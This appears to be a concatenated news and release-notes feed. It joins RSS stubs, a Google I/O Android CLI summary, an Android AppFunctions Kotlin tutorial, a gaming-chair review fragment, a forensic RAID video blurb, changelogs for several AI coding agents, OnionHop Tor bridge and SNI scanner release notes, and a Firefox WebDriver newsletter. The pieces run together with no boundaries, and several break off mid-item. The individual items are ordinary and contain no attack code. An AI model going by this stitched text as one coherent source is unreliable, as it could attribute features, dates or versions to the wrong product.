The post Building Self-Evolving AI Agents with OpenSpace Using Skills, MCP, Lineage, and Low-Cost Reuse appeared first on MarkTechPost.

Dieser Beitrag Google führt Selfie-Video zur Kontowiederherstellung ein – opt-in mit Liveness-Logik erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

The post Vulnerability Scanning with OpenVAS 9 part 1: Installation & Setup appeared first on Hacking Tutorials.

Every year, Google I/O brings new announcements and resources across ecosystems and products, including Android development. As development shifts toward AI and agent-assisted tooling, we’ve expanded our offerings to better support you, however you decide to build for Android.

To help you stay up to date, here is a summary of the top 3 announcements for Android Developer Productivity at I/O.

1. Android CLI is now stable

Android CLI is now stable at version 1.0, with more capabilities and integrations.

The latest version of Android CLI introduces many new features, like programmatic version lookup and support for Journeys, and bridging capability to allow agents to integrate directly with Android Studio, via the studio command.

Running Android Studio alongside the agent and Android CLI enables more efficient navigation in your project, more precise output, and access to Android Studio’s unique tooling, such as performance profilers, Compose Previews, and Android Device Streaming.

Android CLI now integrates seamlessly with Android Studio

Additionally, Google Antigravity now officially supports Android development, with the Android resources bundle, which includes the Android CLI and skills.

You can either install the bundle during onboarding after installation, or later from the Settings > Customizations > Build With Google Plugins menu. This provides Antigravity with all the powerful tools and knowledge of Android CLI to enable it to perform core tasks—from creating projects to deploying your app on a new virtual device—much more easily and efficiently.

Google Antigravity now offers the Android resources bundle

Android CLI is now available through more package managers: like npm and homebrew. For more information, check out the Android CLI blog post and official documentation.

2. Android skills keep growing

To help models gain expertise for specific development patterns that follow our best practices, we are continuing to expand our repository of Android skills, available through Android CLI and GitHub.

Android skills ground LLMs in specialized workflows and domain knowledge, for the most common and more complex user journeys they might struggle with. We’ve shipped a fresh new batch of skills, with now more than 17 skills for areas such as:

• Adaptive UI
• Display Glasses and Jetpack Compose Glimmer for XR
• Migration to CameraX
• Perfetto SQL and Trace Analysis
• Jetpack Compose Styles API
• AppFunctions
• Verified email retrieval with Android Credential Manager
• Engage SDK integration
• Testing setup
• Wear OS Jetpack Compose Material3

Android skills keep growing

You can browse skills and install using the Android CLI commands:

android skills list
android skills add –skill=<skill-name>

For more information, check out the official documentation.

3. Android Bench adds new models

Earlier this year, we launched Android Bench - our leaderboard for testing LLMs on real-world Android development challenges and tasks, with the goal of accelerating model improvements, so you have more helpful options for AI assistance.

Latest results from Android Bench leaderboard

You asked us to evaluate open models. So, at I/O, we added more commonly used ones, including our local model Gemma 4, to the leaderboard. We also added the latest models including Gemini 3.5 Flash.

We are also working on increasing the difficulty of challenges we’re giving LLMs, including creating long running tasks, to continue encouraging improvements. These tasks will be coming soon to Android Bench. Check out the Android Bench leaderboard to see the latest results.

Android development anywhere

By expanding our AI-assisted Android development offerings to Antigravity, through Android CLI and Android skills, and solidifying with the pro capabilities and production grade polish of Android Studio, we’re supporting Android developers wherever they choose to build.

Have fun bringing your ideas to life faster and easier than ever before - we’re excited to see what you build in this new era of agentic development.

Check out the full Developer productivity at Google I/O 2026 YouTube playlist for more information.

Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer Relations

Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post, we explored how to leverage Firebase AI Logic to build cloud-hosted and hybrid AI features.

In this article, we'll show you how we designed and integrated these capabilities into our travel planning app, JetPacker, using Android AppFunctions. We'll explore the rationale behind our feature choices, discuss the specialized tooling we used to accelerate development, and dive into the code that makes it all work.

Designing AI-ready features: making choices that matter for your users

To select which features to provide to the intelligence system, we looked for tasks where a voice or text command is objectively faster than tapping through screens. In this side-by-side screen recording you can see this contrast perfectly: on the left, a user tapping through multiple screens to log an expense; on the right, the same task completed instantly in the background via a privileged agent.

Our first choice was expense tracking. Logging a coffee expense during a trip usually takes quite a few taps—unlocking the phone, opening the app, finding the active trip, navigating to the expenses tab, tapping the add button, taking a picture of the receipt, and checking the result. By providing the addExpense and getExpenses features as AppFunctions, the system agent handles the heavy lifting. When the user says, "Add a five-dollar coffee expense to my Paris trip," the agent automatically searches for the correct trip ID in the background and inserts the expense, skipping the manual UI flow entirely.

We also prioritized itinerary management. Finding what activity is next on a busy trip itinerary usually requires scrolling through a dense timeline view. By providing getItinerary and addItineraryEvent to the system, the user can simply ask, "What am I doing next in Paris?" and get an immediate answer.

Finally, we focused on hands-free note capturing. Typing out reminders or notes while walking down a busy street is difficult and unsafe. Exposing a voice note capability allows the user to say, "The flight was amazing, I saw a beautiful sunset and managed to sleep well," and the privileged agent automatically transcribes and saves it directly into the travel database  using the addVoiceNote AppFunction.

Android MCP powered by AppFunctions

This entire experience is built on Android MCP. Under this design, the app acts as a local MCP server. Rather than remote APIs, you provide your app features directly to the on-device intelligence system.

Android AppFunctions is the API that brings this concept to life. It reads annotated Kotlin functions and compiles them into type-safe, sandboxed tool definitions that the privileged agent can discover and invoke locally on the device.

Diagram highlighting our apps, the android platform, and system agents coordinate AppFunctions.

Under the Android MCP model, your app acts as a local MCP server that exposes structured tools, while the Android platform serves as the central tool registry. On the MCP client side, agent apps are registered with the intelligence system after being granted system-privileged permissions to access the registry.

When a user interacts with a registered agent, its LLM determines if the request can be handled by an AppFunction, queries the platform's metadata, and executes the appropriate registered functions in the background. This local MCP client-server design gives you full control: you choose exactly which features are accessible to the agent, keeping the rest of your app's data private.

How we accelerated development with Android skills

To streamline the integration process, we leveraged the AppFunctions development skill. The AppFunctions development skill is a complete development companion. It guided us through the entire lifecycle: mapping Kotlin data classes to serialize parameters, generating the necessary Service entry points, refining our KDoc documentation to ensure the LLM understands parameter boundaries, and setting up automated testing using ADB.

Providing app features to the intelligence system

Enough with the theory, let's dive into the implementation.

Configuration and dependency setup

We begin by adding the AppFunctions dependencies. One for the API and one for the Kotlin Symbol Processing compiler.

implementation("androidx.appfunctions:appfunctions:1.0.0-alpha10")
ksp("androidx.appfunctions:appfunctions-compiler:1.0.0-alpha10")

Modeling custom data types

Any custom object exchanged with the agent must be annotated with @AppFunctionSerializable. In our TripSerializable.kt file, we define our trip data model:

@AppFunctionSerializable(isDescribedByKDoc = true)
data class TripSerializable(
    /** The trip's unique identifier. */
    val id: String,
    /** The trip's title. */
    val title: String,
    /** The trip's destination location. */
    val location: String,
    /** The trip's start date in milliseconds. */
    val startDate: Long,
    /** The trip's end date in milliseconds. */
    val endDate: Long,
    /** A list of participants. */
    val participants: List<String>,
)

Providing features using the @AppFunction annotation

Next, the skill wrote the Kotlin functions that perform the database queries and annotate them with @AppFunction. We can view this in searchTrip:

/**
 * Looks for trips based on optional filters like id, title (name), location, and dates.
 *
 * @param id The unique identifier of the trip.
 * @param title The title or name of the trip.
 * @param location The destination location.
 * @param startDate The minimum start date in milliseconds.
 * @param endDate The maximum end date in milliseconds.
 * @return A list of trips matching the filters.
 */
@AppFunction(isDescribedByKDoc = true)
suspend fun searchTrip(
    id: String? = null,
    title: String? = null,
    location: String? = null,
    startDate: Long? = null,
    endDate: Long? = null
): List<TripSerializable> {
    return withContext(Dispatchers.IO) {
    // implementation
}

Since AppFunctions run on the UI thread by default, we use withContext(Dispatchers.IO) to switch to a background dispatcher. Additionally, we refine our KDoc to use clear, imperative verbs and specify parameter constraints. This documentation compiles directly into the tool's schema, which the privileged agent uses to resolve parameters and handle runtime errors.

The service entry point and Hilt integration

To register these features with the intelligence system, we create an abstract base class that extends AppFunctionService. We annotate it with @AppFunctionServiceEntryPoint:

@RequiresApi(36)
@AndroidEntryPoint
@AppFunctionServiceEntryPoint(
    serviceName = "JetPackerAppFunctionService",
    appFunctionXmlFileName = "jetpacker_app_function_service"
)
abstract class BaseJetPackerAppFunctionService : AppFunctionService() {
    @Inject internal lateinit var tripDao: TripDao
    // DAOs and database references are injected here...
}

During compilation, KSP generates the final concrete service subclass, JetPackerAppFunctionService, as declared with the serviceName parameter. We also register app_metadata.xml in the app's manifest. This file provides global operational rules for JetPacker's declared AppFunctions.

Testing and verifying your AppFunctions

Once implemented, you should verify that your AppFunctions are registered and working correctly.

Running devices or emulators with Android 17 or newer, you can use ADB commands from your terminal to list and invoke your functions. Running adb shell cmd app_function list-app-functions displays all registered functions for your package. You can then execute a specific function and test its database integration by running adb shell cmd app_function execute-app-function while passing a raw JSON parameters string.

Instead of these ADB commands, you can also use the AppFunctions Testing Agent to inspect your configuration, list and execute AppFunctions, and even see how your AppFunctions behave in a real conversational flow.

Wrapping it up

When thinking about app features that can be contributed to the intelligence system using AppFunctions requires a slight shift in how we think about code and documentation. AppFunctions enable you to use this new interaction model for apps, which allows using an agent to access app features..

First, the AppFunctions development skill is an essential lifecycle tool, helping you discover features, implement and refine AppFunctions for your apps. Second, KDoc comments are a compiled API asset; clear parameter descriptions directly impact the execution accuracy of the system agent. Finally, Android MCP provides local-first execution allowing apps to safely collaborate with AI agents.

Contributing app features through AppFunctions makes your application ready for the intelligence system. Let us know how you are adapting your apps for the agentic era!

Learn more

Check out the other parts of this blog post series:
Part 1: Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3: Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4 (this post!): System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0

In the February meeting, the Bolt Design System Committee aligns on initial setup and ownership for the Bolt Design System repo, began defining cross-platform icon naming conventions, plus works towards component exposure in the documentation site.

Have any questions or want to join the conversation? Come find us in our Matrix room (https://matrix.to/#/#bolt-design-system:mozilla.org). New to Matrix? Find a Quick Start guide here: https://matrixdocs.github.io/docs/getting-started/quick-start

• The best games of 2026 so far

Comfort is crucial to the gaming experience. It’s hard to focus on blasting aliens or taking Stoke to the Champions League final if your bum has gone to sleep because you’ve been sitting on an old chair for three hours. We’re spending more time playing games than ever before, so good posture matters. If you have set up a dedicated gaming space, then a rickety seat just won’t cut it.

From luxurious ergonomic thrones to cheap-and-cheerful bucket seats, the options available are bewildering. So I set out on an epic quest: to find the most comfortable, durable and stylish gaming chairs. Here’s what I discovered.

Best gaming chair overall:
Secretlab Titan Evo

Best budget gaming chair:
ThunderX3 Solo 360

Der Beitrag Glorious GMMK 3 PRO HE Wireless Keyboard im Test: Der Ferrari unter den kabellosen Tastaturen erschien zuerst auf appgefahren.de.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Full Changelog: desktop-v0.0.3...desktop-v0.0.4

The post Mozilla releases Thunderbird 153 with native Microsoft Exchange support appeared first on CyberInsider.

This video demonstrates how digital forensic investigators can quickly reconstruct a proprietary Synology RAID, browse the file system before imaging, and perform targeted logical imaging instead of acquiring the entire multi-terabyte array.

In this video, TaskForce 2:

- Automatically detects Synology SHR and SHR-2 configurations

- Reconstructs RAID with no manual setup

- Lets you browse evidence before imaging

- Creates logical image of selected files and folders

- Recovers data from missing or damaged drives using RAID parity

If you're working with a NAS holding many terabytes of data and you just need a few key files, this workflow gets you there faster – without cutting corners on integrity.

⏱️ Timestamps

00:00 Intro
00:15 The problem with Synology RAID reassembly
01:10 How standard RAID works
01:20 What is Synology SHR
03:31 TaskForce 2: built for Synology RAID
03:35 Step 1: Connect sources
03:58 Step 2: RAID autodetection
03:50 Step 3: Review before imaging
04:23 Step 4: Logical imaging
05:01 Step 5: Missing/damaged RAID recovery

📝Resources:

🔗 Learn more about Atola TaskForce 2 RAID capabilities: https://atola.com/products/taskforce/forensic-raid-image.html

🔗 Follow Atola on LinkedIn: https://www.linkedin.com/company/atola-technology/

• Changed /code-review to run as a background subagent, so review work no longer fills your conversation and keeps stacked slash commands as its review target
• Added screen-reader announcements of deleted text for word and line deletions (Option+Delete, Ctrl+W, Cmd+Backspace, Ctrl+U, Ctrl+K) in --ax-screen-reader mode
• Fixed Windows paths with \u-prefixed segments (like C:\Users\unicorn) being corrupted into CJK characters in tool inputs, which made those files inaccessible
• Fixed the left arrow key discarding the conversation with no undo: presses right after editing now ask to confirm, and Esc in the agent view returns to the conversation it backgrounded
• Added HTTP status and error text to claude mcp list and /mcp when a server fails to connect, and a warning for MCP config values with hidden leading or trailing whitespace
• Fixed multi-line paste collapsing into one line with j in place of newlines in terminals that encode pasted newlines as Ctrl+J
• Fixed /context reporting stale pre-compact token usage after compacting from the message picker
• Fixed /ultrareview failing on descriptive arguments like "review my auth changes" — they now run a review of your current branch with the text applied as a note to the findings
• Fixed /code-review ultra silently running a local review in non-interactive sessions — it now launches the cloud review
• Fixed gateway spend metering to price Bedrock application-inference-profile ARNs and other config-mapped upstream model IDs at the configured model's rates
• Fixed mojibake when a long IDE selection was truncated mid-emoji, and a case where a tool executor error could be silently dropped
• Fixed an engine teardown race that could start and abandon a phantom turn, and made input pushed after close consistently rejected
• Fixed spurious "[Request interrupted by user]" messages after interrupted tool calls, and an unpaired tool_use block left in the transcript when a tool aborted mid-response
• Fixed VoiceOver reading "new line" instead of echoing the typed space at the end of the input in --ax-screen-reader mode
• Fixed plugin and settings panels not moving the terminal cursor to the focused row, so screen readers and magnifiers can follow arrow-key navigation
• Fixed crashes (maximum call stack exceeded) when a deeply nested watched directory tree was deleted or moved, and when rendering deeply nested UI trees
• Fixed pull request events occasionally being lost when a session exited immediately after creating or linking a PR
• Fixed the Bedrock setup wizard failing profile verification for assume-role profiles in partitioned AWS regions and on proxy-only networks
• Fixed rare negative or incorrect turn duration measurements after a system clock adjustment by timing turns with a monotonic clock
• Fixed the "N MCP servers need authentication" startup notice over-counting claude.ai connectors that aren't connected in claude.ai
• Fixed prompt history entries being dropped or duplicated when history writes raced or failed
• Fixed a retry loop that re-sent identical doomed requests after a context-overflow error with a large thinking budget; Ctrl+B backgrounding now applies the same background-shell caps as other paths
• Fixed agent frontmatter hooks running from untrusted folders: hooks now require the agent file's own folder to have accepted workspace trust
• Fixed fork-session lineage being lost after compaction in headless and SDK sessions
• Fixed a resumed session failing every turn, or crashing on resume, when its history held a malformed delta attachment
• Improved /ultrareview error feedback so Claude can correct an invalid argument instead of retrying it unchanged
• Improved auto mode: the dangerous-rm, background-&, and suspicious-Windows-path checks no longer open permission dialogs; the auto-mode classifier adjudicates them instead
• Improved sandbox command restrictions for IDE interactions
• Improved trust dialogs to name the repository root the grant covers
• Changed /deep-research to start only when invoked manually; Claude no longer launches it on its own
• Changed plan mode with auto to no longer prompt for Bash commands the static analyzer can't prove read-only; the auto-mode classifier judges them instead
• Added an announcement when fast mode changes as a result of switching models via /config model=<x> or Remote Control
• Changed server-managed settings so benign feature and cost toggles no longer trigger the settings-approval prompt
• Changed agent markdown files to reject agent names containing :, which is reserved for plugin namespacing
• Changed skills with context: fork to run in the background by default; opt out per skill with background: false
• Added yes/no/on/off/1/0 (case-insensitive) as accepted values for skill and plugin frontmatter booleans, alongside true/false
• Fixed remote sessions continuing to send heartbeats after their worker was replaced, which left long-lived desktop and IDE processes retrying a rejected request every few seconds forever

• Refactor: exclude transient CI configuration files from workspace context by @DavidAPierce in #28216
• feat(caretaker-triage): add triage worker core foundational modules by @chadd28 in #28163
• feat(caretaker-egress): implement octokit github action handler for egress service by @chadd28 in #28303
• chore(release): bump version to 0.52.0-nightly.20260707.g27a3da3e8 by @gemini-cli-robot in #28323
• Changelog for v0.51.0-preview.0 by @gemini-cli-robot in #28320
• Changelog for v0.50.0 by @gemini-cli-robot in #28322
• fix(core-tools): bypass LLM correction for JSON and IPYNB files in write_file and replace by @amelidev in #28223
• fix(core): use unambiguous previous intent label in fallback summary by @amelidev in #28343
• feat(caretaker-triage): implement main worker execution loop and egress action publisher by @chadd28 in #28306
• fix(privacy): show a clear message when the account has no Code Assist tier by @ompatel-aiml in #28304
• fix(core): enrich shared project quota limit errors with setup hint by @amelidev in #28391
• fix(a2a-server): ensure task cancellation aborts execution loop by @luisfelipe-alt in #28316
• fix(core): simplify plan mode write policy to support relative paths by @DavidAPierce in #28398
• feat(core): Bump node google-auth-library version to 10.9.0 by @jerrylin3321 in #28385
• chore/release: bump version to 0.52.0-nightly.20260715.gfa975395b by @gemini-cli-robot in #28402

Full Changelog: v0.51.0...v0.52.0

Read more →

The post Refresh Token Rotation in Node.js: Stopping Token Theft Without Logging Users Out appeared first on IT Security News.

Added

• SNI scanner (Scanner → SNI Scanner). Finds SNI/front hosts that work on your network via real TLS handshakes. Domain mode tests a list of candidate domains as SNI on :443; Range mode tests one SNI across an IPv4 CIDR range (bounded). Working hosts can be applied as your custom SNI hosts (used by fronted webtunnel/meek/snowflake bridges) or saved to the library. Green = handshake completed (usable), red = blocked/reset.
• Saved-bridges library (Scanner → Saved). Bridges from the bridge scanner and hosts from the SNI scanner can be saved to a persistent library, then labelled, re-applied or removed later - scan results are no longer lost when the scan finishes. Both scanners gained a Save to Library action.
• Current Bridge tab: per-row copy + sortable columns (#69). Each bridge row has a one-tap copy button, and the Type / Address / Status headers sort on click (click again to reverse); the bridge currently in use stays pinned to the top.
• Bridge copy/export refinement (#56). Copy on the Current Bridge tab now returns only the bridge Tor is actually using (not the whole supplemented list), and Export writes a CSV with Type, Address, Status, Fingerprint and the raw line.
• CLI scan <type> --use. After probing, the reachable bridges are saved as your custom list and selected as the source, so the next connect uses exactly those - the command-line equivalent of the GUI scanner's Apply button.

Fixed

• Custom bridge source ignored under Smart Connect (#70). Smart Connect (on by default) reset the source to Auto and dropped your custom bridge list while racing its own transports, so a pasted obfs4 bridge could end up connecting via a webtunnel bridge you never added. Smart Connect now honors an explicit Custom source and uses exactly those bridges.

Thanks to @Airuop for the scanner and bridge-tab suggestions.

Downloads

Not sure which Mac you have? Apple menu > About This Mac. "Apple M1/M2/M3/M4" means Apple Silicon (arm64); anything listing an Intel processor needs the x64 build.

Fixed

• SNI scanner never found a working host. Every probe failed with an internal .NET SslStream error (the certificate-validation callback was set in two places at once), so results always came back "blocked" and the scanner looked like it did nothing. It now completes TLS handshakes and reports reachable SNI hosts correctly.
• SNI scanner status messages are now localized ("Ready.", "Scanning…", "Enter at least one domain to test.", etc.) instead of always showing in English.

Added

• The saved-bridges library now shows a Ping column - the latency measured when each entry was saved.

Downloads

Added

• Bridge scanner: "Load bridges" — fetches the selected category/transport list into the input without scanning, so you can review or edit the list first, then scan (a two-step flow like BridgeHop's).
• "Import file" on both the bridge scanner and the SNI scanner — load bridge lines / candidate domains from a .txt/.csv file.
• Saved-bridges library: ping badge — each saved entry's latency now shows as a green (or amber, when slow) "✔ ms" badge instead of a plain number.

Downloads

Added

• SNI scanner: "Load candidates" - one click fills the box with a built-in starter list of common CDN/front domains (Cloudflare, Fastly, Google, Microsoft, Apple, jsDelivr, Wikipedia, and more), so you have something to scan without needing to know which domains to try. Then press Start Scan; the green rows are the SNI hosts that work on your network. You can still edit the list, import your own, or paste more.

Note

macOS builds are back - v3.6.2's Mac assets were held up by a pending Apple developer agreement, now resolved. This release ships the complete set for all platforms.

Downloads

Fixed

• Snowflake starting again on censored networks (#71). Snowflake was failing to start with "Managed proxy ... terminated with status code 2" and the connection bar stuck, whenever the AMP-cache rendezvous was enabled. The AMP cache was being passed as a -ampcache command-line flag, which the bundled Snowflake binary (lyrebird) rejects, so it exited immediately. It is now set as an ampcache= parameter on the Snowflake bridge line, which lyrebird reads. This mainly affected networks where Smart Connect forces Snowflake AMP (for example Iran).

Added

• SNI scanner compact layout. The SNI scanner now matches the bridge scanner: a "Custom list" toggle keeps the candidate-domain box collapsed until you turn it on or load, import, or request a list, so the controls take less room.
• Request SNI (per-country lists). Working SNI hosts are country-specific, so the SNI scanner gained a "Request SNI" button that fetches a candidate list for your country from the OnionHop SNI-lists source and loads it for scanning. A country picker appears when the source is reachable.
• Export Working. The SNI scanner can now save the working SNI hosts to a text file.
• About page release links. Each release in the changelog history now has a "View on GitHub" link that opens that release's page, and the sources section lists the new OnionHop SNI Lists source.

Downloads

Added

• Copy button in the saved library. Each entry in Scanner > Saved now has a "Copy" button next to Apply and Delete. It copies just that bridge line or SNI host to the clipboard, so you can paste it into the bridge scanner or SNI scanner and rescan it directly. Previously you had to Apply an entry and copy it from another tab before you could rescan it.

Downloads

Fixed

• Bridge scanner verifies webtunnel for real. The scanner now confirms a webtunnel bridge with an actual handshake (a WebSocket upgrade to the bridge's own endpoint, which must return 101) instead of only checking that its CDN front answered on 443. A dead webtunnel bridge whose front is still up is now correctly shown as unreachable, so a scanned webtunnel list no longer marks bridges as working when Tor cannot connect through them (#74).
• Transport start failures now say why. When a pluggable transport could not run, Tor only reported an opaque "Managed proxy ... terminated with status code 2", which hid the real cause (this is what made obfs4 and snowflake "connect then immediately fail" for some users). The app now preflights each transport binary and logs the actual reason, a crash, a wrong-architecture binary, a missing execute bit, and so on, so the problem is diagnosable instead of opaque (#74).

Downloads

Fixed

• Clearer log when the transport can't reach reachable bridges. If a bridged connect fails after the reachability scan found bridges reachable but the transport could not connect to any of them, the log now names the likely cause: a firewall or security tool blocking OnionHop's transport helper (lyrebird / webtunnel-client), or bridges that are dead at the protocol layer. Previously this appeared only as an unexplained wall of "general SOCKS server failure" (#74).

Downloads

Fixed

• Transport helpers now run from a stable path, so firewalls can allow them (#74). On macOS and Linux, the bridge transport helpers (lyrebird / webtunnel-client) ran from the system temp directory. Per-app firewalls like Little Snitch identify a process by its executable path, so a helper in a periodically-purged temp folder never got a durable allow rule and could be silently denied without ever prompting - every bridge then failed with "general SOCKS server failure" even with an "allow all" rule for OnionHop itself. The helpers now run from a stable per-user location (~/Library/Caches/onionhop-pt on macOS, ~/.cache/onionhop-pt on Linux), so the firewall can prompt once and remember the answer, the same way it does for Tor Browser's bundled lyrebird. The stale-transport cleanup at connect time now also covers helpers running from that directory.

Downloads

Fixed

• obfs4 bridges are now verified with a real handshake before connecting. The pre-connect scan used to only TCP-test obfs4, so bridges that were dead or blocked at the obfs4 layer still got handed to Tor, producing a wall of "general SOCKS server failure" warnings and a long pause before it connected. The app now drives the bundled obfs4 client to complete the actual handshake and drops the ones that fail, so connecting is faster and the log is far quieter (#74). If the check cannot run or nearly everything fails (for example the whole set is blocked from your network), it safely falls back to the previous behavior.
• Fixed "connected but no websites load" in TUN/VPN mode on Windows (browser showed ERR_PROXY_CONNECTION_FAILED). If an earlier session had crashed or been force-closed while the system proxy was applied, Windows kept that proxy enabled, pointing browsers at a port from that dead session; TUN mode never corrected it. The app now clears a leftover proxy that matches its own format at connect time, and in TUN mode it logs a clear note if some other system proxy is enabled. Third-party proxy settings are never touched.

Downloads

This newsletter gives an overview of the work we’ve done as part of the Firefox 153 release cycle.

Contributions

Firefox is an open source project, and we are always happy to receive external code contributions to our WebDriver implementation. We want to give special thanks to everyone who filed issues, bugs and submitted patches.

Firefox 153, multiple WebDriver bugs were fixed by contributors:

• Khalid AlHaddad updated our codebase to use constants instead of hard-coded strings for all our session data types.
• Khalid AlHaddad improved the window manipulation commands in Marionette and WebDriver BiDi to allow individual window geometry properties, such as x, y, width, and height, to be adjusted independently.
• Sameem updated the “Take Element Screenshot” command from WebDriver Classic to crop screenshots of elements which exceed the viewport. This aligns with the specification and avoids errors when attempting to capture huge elements.

WebDriver code is written in JavaScript, Python, and Rust so any web developer can contribute! Read how to setup the work environment and check the list of mentored issues for Marionette, or the list of mentored JavaScript bugs for WebDriver BiDi. Join our chatroom if you need any help to get started!

All Changes

A complete list of developer-facing changes included in this Firefox release is available in the MDN Firefox 153 Release Notes.

The post I Tried Fine-Tuning a Robot AI Model on Colab. Here Is What Worked appeared first on Towards Data Science.

Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped ~80% on every platform, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now manage your Nous subscription without leaving the terminal, plug Bitwarden and 1Password straight into Hermes, let smart approvals judge flagged commands for you by default, watch your subagents work live, and trust that a finished response survives a gateway crash thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.

✨ Highlights

• Hermes got dramatically faster — first token in a fraction of the time — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you see while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (#59332, #59389 — @teknium1)

• The desktop app speed wave — 20+ targeted perf PRs — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (#67154, #67818, #65898, #66033, #66747, #67742 and more — @OutThisLife)

• Manage your Nous plan from the terminal — /subscription and /topup — Changing your subscription used to mean a trip to the billing website. Now /subscription opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 & upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (#51639, #61054, #61067 — @alt-glitch)

• Smart approvals are now the default — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new user-defined deny rules (which block commands even under yolo mode) and /deny <reason> (which tells the agent why you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (#62661, #59164, #54518 — @teknium1)

• Plug your password manager into Hermes — Bitwarden & 1Password secret sources — API keys no longer have to live in a plaintext .env. A new pluggable SecretSource interface lets Hermes fetch secrets from Bitwarden and 1Password (op:// references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (#59498 — @teknium1, 1Password provider salvaged from @hwrdprkns)

• Watch your subagents work — live transcripts + durable background delegation — delegate_task dispatches now return live transcript files you can tail -f the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now durable — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (#67479, #63494 — @teknium1)

• A finished answer can no longer be lost — the delivery-obligation ledger — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in state.db around the platform send and redelivered on the next boot — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (#67181 — @teknium1)

• One gateway, many profiles — profile-based message routing — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the work profile and your hobby server at personal, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (#64835 salvaging @Burgunthy, #65700, #60589 — @teknium1, @benbarclay + six salvaged contributors)

• New providers and the newest frontier models — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a #2 slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route), grok-4.5 (GA), moonshotai/kimi-k3, claude-fable-5 / claude-sonnet-5, and GA tencent/hy3 — plus LM Studio JIT model loading for local setups. (#62593, #63969, #61616 — @kshitijk4poor completing @rob-maron's #61578, #60887, #65913, #64541, #65472)

• Crank the thinking to max — new reasoning effort tiers and per-model control — Reasoning effort gained max and ultra levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin per-model reasoning-effort overrides in config, set per-slot effort in MoA presets (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (#62650, #64458, #64631, #64597 — @teknium1)

• Your sessions, your data — export everything — hermes sessions export now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in --redact secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (#60186 salvaging @web3blind, #60492, #60507, #59327 — @teknium1)

• Security hardening round — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (#57660, #58709, #59215, #56582, #57842 — @teknium1, @srojk34, @kshitijk4poor, @jquesnelle)

⚡ Performance — the speed spine

First-turn latency (all platforms)

• ~80% TTFT cut — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (#59332 — @teknium1)
• Perceived-latency round 2 — display.show_reasoning default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (#59389 — @teknium1)
